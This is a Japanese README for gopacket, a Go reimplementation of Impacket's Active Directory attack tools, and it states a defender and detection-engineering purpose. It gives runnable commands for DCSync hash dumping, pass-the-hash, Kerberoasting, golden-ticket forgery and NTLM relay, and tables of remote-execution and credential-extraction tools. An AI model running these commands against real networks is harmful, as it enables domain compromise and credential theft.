
Impacketの完全なGo移植版 - WindowsおよびActive Directoryプロトコル攻撃用の63のCLIツールと24のライブラリを、依存関係のない単一バイナリにコンパイル。
Jacob Paullus (@psycep_) 著
Impacket の完全な Go 実装 - Windows ネットワークプロトコル操作、Active Directory 列挙、攻撃実行のための 63 のツールと 24 のライブラリパッケージ。ネイティブ Go フレームワークとして構築されているため、一度コンパイルすれば Python 依存なしでどこでも実行できます。
ベータリリース - 非常に実験的。 gopacket は活発に開発中です。コアツールは Active Directory のラボ環境でテストされていますが、エッジケースやプロトコルの癖が想定されます。何かが動作しない場合は、同じ操作を Impacket で並行してテストし、両方の出力をバグレポートに含めてください。これにより、gopacket 固有の問題か、共有されたプロトコルの制限かを迅速に特定できます。
git clone https://github.com/mandiant/gopacket
cd gopacket
# Default: Linux/macOS build + install to /usr/local/bin
./install.sh
# Run with no flags and it prompts you through the choices interactively.
# Or pick a target directly:
./install.sh --target portable # static Linux binaries in ./dist/portable/
./install.sh --target windows # Windows .exe cross-compiles in ./dist/windows/
./install.sh --target all # build every target in one run
# Build without installing (native only)
./install.sh --build-only
# Or build with make
make build
デフォルト (--target native) ビルドには Go 1.24.13+、GCC、libpcap 開発ヘッダーが必要です (Debian/Ubuntu/Kali では apt install build-essential libpcap-dev、RHEL/CentOS では 、macOS では )。 と ターゲットは Go ツールチェーンのみが必要です。これらのビルドでは libpcap が必要なため、 と はスタブになります。完全なマトリックスについては を参照してください。
yum install gcc libpcap-develbrew install libpcapportablewindowssniffsplitgopacket は Linux、macOS、Windows でビルドできます。動作するツールのセットと利用可能なプロキシパスはビルドフラグによって異なります:
| ビルド | 利用可能なツール | プロキシ |
|---|---|---|
| Linux / macOS with cgo (default) | 全 63 | proxychains (LD_PRELOAD) および/または -proxy SOCKS5 |
Linux with CGO_ENABLED=0 | 61 (sniff、split はスタブ) | -proxy のみ (proxychains は libc フックが必要) |
Windows (GOOS=windows CGO_ENABLED=0) | 60 (sniff、split、sniffer スタブ) | -proxy のみ (Windows に LD_PRELOAD なし) |
sniff と split は cgo 経由で libpcap に依存し、sniffer は Unix 生ソケットに依存します。ツールがターゲット用にビルドできない場合、gopacket は明確なメッセージを出力して終了コード 1 で終了するスタブに置き換えるため、go build ./... は常に成功し、インストールレイアウトはプラットフォーム間で一貫しています。
アンインストールするには:
./install.sh --uninstall
gopacket は 2 つの独立したプロキシパスをサポートしています。これらはチェーンすることもできます。
すべての gopacket ツールは proxychains を通じて動作します。Go バイナリは通常 proxychains をバイパスします。Go ランタイムは DNS とネットワークを内部的に処理し、proxychains が依存する LD_PRELOAD フックをスキップするためです。gopacket はネットワーク操作のためにシステム C ライブラリにリンクすることでこれを回避し、proxychains が通常通り接続を傍受できるようにします。
proxychains gopacket-secretsdump 'domain/user:password@target'
proxychains gopacket-smbclient -k -no-pass 'domain/[email protected]'
-proxy)すべてのツールは -proxy を受け付け、LD_PRELOAD に依存せずに送信 TCP を SOCKS5 サーバー経由でルーティングします。受け入れられるスキーム: socks5 と socks5h。-proxy が未設定の場合、ALL_PROXY / all_proxy 環境変数がフォールバックとして参照されます。
gopacket-secretsdump -proxy socks5h://127.0.0.1:1080 'domain/user:password@target'
ALL_PROXY=socks5h://127.0.0.1:1080 gopacket-smbclient 'domain/user:password@target'
UDP 依存の機能は -proxy 下では無効化され、パケットがサイレントに漏洩することはありません (SOCKS5 UDP ASSOCIATE はプロキシでサポートされることが稀であり、UDP でプロキシをバイパスするとオペレーターの実際の送信元 IP が露出するため)。影響を受ける機能とその回避策は KNOWN_ISSUES.md に記載されています。
チェーン: -proxy は proxychains と互換性があります。SOCKS5 プロキシ自体への TCP 接続は依然として libc の connect() を経由するため、proxychains → gopacket → -proxy → target はネストされたルーティングシナリオで機能します。
gopacket の 24 のプロトコルパッケージ上にカスタムツールを構築するための完全な API ドキュメント、コード例、アーキテクチャ概要については、ライブラリ開発者ガイド を参照してください。
| ツール | 説明 |
|---|---|
| psexec | SMB サービス作成によるリモートコマンド実行 |
| smbexec | SMB 経由のリモートコマンド実行 (psexec よりステルス) |
| wmiexec | WMI 経由のリモートコマンド実行 |
| dcomexec | DCOM 経由のリモートコマンド実行 |
| atexec | タスクスケジューラ経由のリモートコマンド実行 |
| ツール | 説明 |
|---|---|
| secretsdump | SAM/LSA/NTDS.dit 抽出と DCSync (リモート + オフライン) |
| dpapi | DPAPI バックアップキー抽出 |
| esentutl | オフライン ESE データベースパーサー (NTDS.dit) |
| registry-read | オフライン Windows レジストリハイブパーサー |
| ツール | 説明 |
|---|---|
| getTGT | パスワード、ハッシュ、または AES キーで TGT を要求 |
| getST | S4U2Self/S4U2Proxy でサービスチケットを要求 |
| GetUserSPNs | Kerberoasting - SPN を検索して要求 |
| GetNPUsers | AS-REP roasting - 事前認証なしのアカウントを検索 |
| ticketer | ゴールデン/シルバーチケットの偽造 |
| ticketConverter | ccache と kirbi 形式間の変換 |
| describeTicket | Kerberos チケットの解析と復号 |
| getPac | PAC 情報の要求と解析 |
| keylistattack | KERB-KEY-LIST-REQ 攻撃 (RODC) |
| raiseChild | ゴールデンチケットによる子から親ドメインへの昇格 |
| ツール | 説明 |
|---|---|
| GetADUsers | LDAP 経由でドメインユーザーを列挙 |
| GetADComputers | LDAP 経由でドメインコンピューターを列挙 |
| GetLAPSPassword | LDAP 経由で LAPS パスワードを読み取り |
| findDelegation | 委任設定を検索 |
| lookupsid | LSARPC 経由の SID ブルートフォース |
| samrdump | SAMR 経由でユーザーを列挙 |
| rpcdump | epmapper 経由で RPC エンドポイントをダンプ |
| rpcmap | アクセス可能な RPC インターフェースをスキャン |
| net | SAMR/LSARPC 経由の net user/group/computer 列挙 |
| netview | セッション、共有、ログオンユーザーを列挙 |
| CheckLDAPStatus | LDAP 署名とチャネルバインディング要件を確認 |
| DumpNTLMInfo | SMB ネゴシエーションから NTLM 認証情報をダンプ |
| getArch | RPC 経由でリモート OS アーキテクチャを検出 |
| machine_role | マシンロール (DC、サーバー、ワークステーション) を検出 |
| ツール | 説明 |
|---|---|
| addcomputer | マシンアカウントの作成/変更/削除 (SAMR + LDAP) |
| rbcd | リソースベースの制約付き委任の操作 |
| dacledit | AD オブジェクトの DACL の読み取り/書き込み |
| owneredit | オブジェクトの所有権の読み取り/変更 |
| samedit | SAM アカウント名スプーフィング (CVE-2021-42278/42287) |
| badsuccessor | BadSuccessor / バックアップオペレーター昇格 |
| changepasswd | SAMR と LDAP 経由でパスワードを変更/リセット |
| ツール | 説明 |
|---|---|
| smbclient | 対話型 SMB クライアント (共有、ls、get、put など) |
| smbserver | ファイル共有用の SMB サーバー |
| attrib | SMB 経由でファイル属性を照会/変更 |
| filetime | SMB 経由でファイルタイムスタンプを照会/変更 |
| services | SVCCTL 経由のリモートサービス管理 |
| reg | WINREG 経由のリモートレジストリ操作 |
| Get-GPPPassword | SYSVOL からグループポリシー設定のパスワードを抽出 |
| karmaSMB | ハッシュキャプチャ用の不正 SMB サーバー |
| ツール | 説明 |
|---|---|
| ntlmrelayx | マルチプロトコルサポートを備えた完全な NTLM リレーフレームワーク |
ntlmrelayx は以下をサポートします:
| ツール | 説明 |
|---|---|
| mssqlclient | SQL/Windows/Kerberos 認証を備えた対話型 MSSQL クライアント |
| mssqlinstance | SQL Browser 経由の MSSQL インスタンス検出 |
| ツール | 説明 |
|---|---|
| wmiquery | 対話型 WMI クエリシェル |
| wmipersist | WMI イベントサブスクリプションの永続化 |
| ツール | 説明 |
|---|---|
| tstool | ターミナルサービスセッションとプロセスの列挙 |
| ツール | 説明 |
|---|---|
| rdp_check | RDP 認証チェック |
| mqtt_check | MQTT 認証チェック |
| exchanger | Exchange Web Services クライアント |
| ツール | 説明 |
|---|---|
| ntfs-read | オフライン NTFS ファイルシステムパーサー |
| ping / ping6 | ICMP ping |
| sniff / sniffer | ネットワークパケットキャプチャ |
| split | 大きなファイルの分割 |
すべてのネットワークツールは 3 つの認証方法をサポートしています:
# Password
gopacket-secretsdump 'domain/user:password@target'
# NTLM hash (pass-the-hash)
gopacket-secretsdump -hashes ':nthash' 'domain/user@target'
# Kerberos (pass-the-ticket)
KRB5CCNAME=ticket.ccache gopacket-secretsdump -k -no-pass 'domain/user@target'
| フラグ | 説明 |
|---|---|
-hashes LMHASH:NTHASH | NTLM ハッシュ認証 (LM ハッシュは空でも可) |
-k | Kerberos 認証を使用 |
-no-pass | パスワードを要求しない (-k または -hashes と併用) |
-dc-ip IP | ドメインコントローラーの IP アドレス |
-target-ip IP | ターゲットの IP アドレス (Kerberos でホスト名を使用する場合) |
-port PORT | ターゲットポート (デフォルトはツールによって異なる) |
-proxy URL | 送信 TCP を SOCKS5 プロキシ経由でルーティング (例: socks5h://127.0.0.1:1080)。UDP 機能は無効化されます。 |
-debug | デバッグ出力を有効化 |
# Dump domain hashes via DCSync
gopacket-secretsdump 'corp.local/admin:[email protected]'
# Interactive SMB shell
gopacket-smbclient -hashes ':aabbccdd...' 'corp.local/admin@fileserver'
# Kerberoast
gopacket-getuserspns 'corp.local/user:[email protected]'
# Golden ticket
gopacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain corp.local admin
# NTLM relay with SOCKS proxy
sudo gopacket-ntlmrelayx -t smb://target -socks
# LDAP relay for RBCD
sudo gopacket-ntlmrelayx -t ldaps://dc01.corp.local --delegate-access
# Route all outbound traffic through a SOCKS5 proxy
gopacket-secretsdump -proxy socks5h://127.0.0.1:1080 'corp.local/admin:[email protected]'
pkg/ ディレクトリには、独立してインポートできる 24 の再利用可能なプロトコルパッケージが含まれています。
| パッケージ | 説明 |
|---|---|
| smb | NTLM および Kerberos 認証を備えた SMB2/3 クライアント |
| ldap | NTLM/Kerberos バインドを備えた LDAP クライアント |
| dcerpc | DCE/RPC クライアント + 20 のサービス実装 (DRSUAPI、SAMR、SVCCTL、LSARPC、WINREG、NETLOGON、DCOM、TSCH、EPMAPPER など) |
| kerberos | Kerberos クライアント、チケット偽造 (ゴールデン/シルバー)、S4U2Self/S4U2Proxy |
| ntlm | NTLM 認証プロトコル |
| relay | NTLM リレーフレームワーク (サーバー、クライアント、攻撃、SOCKS) |
| tds | SQL Server TDS プロトコル |
| ese | Extensible Storage Engine パーサー |
| registry | Windows レジストリハイブパーサー |
| ntfs | NTFS ファイルシステムパーサー |
| security | セキュリティ記述子、ACL、SID |
| dpapi | DPAPI 構造 |
| mqtt | MQTT プロトコルクライアント |
| session | ターゲット/資格情報の解析 (domain/user:pass@host) |
| flags | 統一 CLI フラグフレームワーク |
gopacket は Impacket との完全な同等性を目指しています。以下はまだ実装されていません:
リレープロトコルクライアント:
リレー攻撃モジュール:
スタンドアロンツール:
ifmap.py (DCOM インターフェースマッピング)mimikatz.py (RPC 経由の限定的な Mimikatz)goldenPac.py (MS14-068 - パッチ適用済みシステムでは廃止)smbrelayx.py (ntlmrelayx に取って代わられた)kintercept.py (Kerberos 傍受)これらのギャップは優先度が低いです - ほとんどはテストにニッチなインフラストラクチャが必要か、新しい技術によって廃止されています。
これらは Impacket と共有されるプロトコルレベルの制限であり、gopacket のバグではありません:
各問題の詳細と回避策については KNOWN_ISSUES.md を参照してください。
これはベータリリースです。バグは想定されており、貢献を歓迎します。
gopacket は Impacket と同じワイヤプロトコルを実装しているため、「バグ」の大部分は gopacket 固有ではなく環境的なものであることが判明します - パッチ適用済み DC、LDAP 署名要件、EPA、PKT_INTEGRITY、SMB 署名、CVE-2019-1040 以降の NTLM MIC 検証、SPN の欠落、時刻のずれ、DNS の癖、ファイアウォールルールなどです。同じ操作を Impacket で並行して実行することで、環境を方程式から除外できます:
この単一のトリアージステップにより多くの往復が節約されるため、省略しないでください。
-debug 付きで再実行し、完全な出力をキャプチャするcorp.internal → example.local
および dc01.corp.internal → dc01.example.local への置換は問題ありません - データの
構造は保ち、識別情報の値だけを変えてください。疑わしい場合は、墨消ししてください。ユースケースと Impacket の同等機能 (存在する場合) を説明する GitHub issue を開いてください。機能が上記の 「不足している機能」リストにある場合は、どれかを言及してください - 優先順位付けに役立ちます。
PR を歓迎します。開く前に:
go build ./...、go vet ./...、gofmt -l .、go test ./...
を実行し、すべてがクリーンにパスすることを確認してください脅威アクターは Python から離れつつあります。コンパイルされた Go および Rust のツーリング (Sliver、BRC4、Geacon、および特注のローダー) が、実際の侵入で Impacket に取って代わりつつあります。ほとんどの防御ツーリングと検出 ロジックは Impacket の Python ベースのネットワーク動作を中心に構築されており、攻撃者のエコシステムがコンパイル言語に移行するにつれて、そのカバレッジは侵食されています。
gopacket は、セキュリティコミュニティがこの移行を先取りするのを助けるために存在します。同じプロトコルと技術のオープンソースで読みやすい Go 実装を提供することで、防御者と検出エンジニアは以下が可能になります:
攻撃者ツーリングと防御者の可視性のギャップは、新しいツーリングが非公開のままであるときに最も広がります。gopacket をオープンソース化することで、そのギャップが狭まります。
KRB5CCNAME が設定されていない場合、ツールはカレントディレクトリで <username>.ccache を探します-proxy SOCKS5 フラグの両方をサポートしています (プロキシサポートを参照)Apache License 2.0 の下でリリースされています。